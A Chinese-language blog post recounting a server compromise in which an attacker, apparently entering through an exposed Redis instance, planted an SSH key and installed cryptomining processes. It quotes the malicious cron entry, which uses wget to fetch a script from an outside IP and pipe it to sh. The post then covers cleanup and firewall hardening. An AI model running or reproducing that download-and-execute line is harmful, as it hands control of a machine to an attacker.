1. 程式人生 > >記一次服務器被攻擊事件

記一次服務器被攻擊事件

不用 時間 edi 能夠 hist 幹凈 col nbsp ssh key

病毒清除

事情都解決了好多天,今天來總結一下,那天開發問數據備份沒有沒有拉到他們的那臺服務器上,於是乎就去看了一下為什麽定時任務沒有執行,看了之後,waht???我的定時任務全部沒了,NND

定時任務就只有一個:
*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh

what?下意識的去看了一下cron log,發現出事情了,因為從log來看,(wget) ERROR (getpwnam() failed)是直接寫進/var/spool/cron/root文件的

技術分享圖片

根據時間去history去翻命令log (histroy加上時間參數還是有作用的), 發現沒有命令往cron寫命令,猜測並不是我們的運維去操作的,再看這個log,發現特麽這個ip是美國的,

檢查/root/ssh/下,發現了一個Key,時間正好也和cron上log時間相對於,立馬想到,服務器給攻擊了,,,,

技術分享圖片

查看腳本內容發現如下:

技術分享圖片

感情是把我的服務器給當礦機了...MMP,刪除cron的內容,查找ddgs的進程,把它給kill掉,刪除/tmp下的ddgs.3013文件,查看top發現還有一個進程也特麽使用率非常高,qW3xT.2 ,同樣的,也給刪除掉,刪除掉/root/下的key,再次檢查一下,發現已經給清掉了,此時,應該查找問題源頭,然後備份重要文件,對服務器進行重新安裝系統,因為,不重裝沒辦法保證徹底清理幹凈,so,應急方案得有,一模一樣得服務器一臺,有問題,立馬切換接管,平時不用都行,甚至虛擬機都成,作為臨時接管對象。

查找問題源

同樣分析為什麽會出現這種情況,能夠清除cron,還能夠往ssh key裏面寫內容,唯一能夠想到的,便是redis了,redis是用root登錄的,是有權利寫入ssh key的,,密碼即為簡單,且防火墻允許公網上所有IP連接,於是乎,進入redis,想去看看有沒有什麽蛛絲馬跡,遺憾發現沒有什麽有用的信息,so,防火墻開放redis的端口對特有的IP開放,其實不僅僅是Redis,各種開放的端口,盡量最小化。

記一次服務器被攻擊事件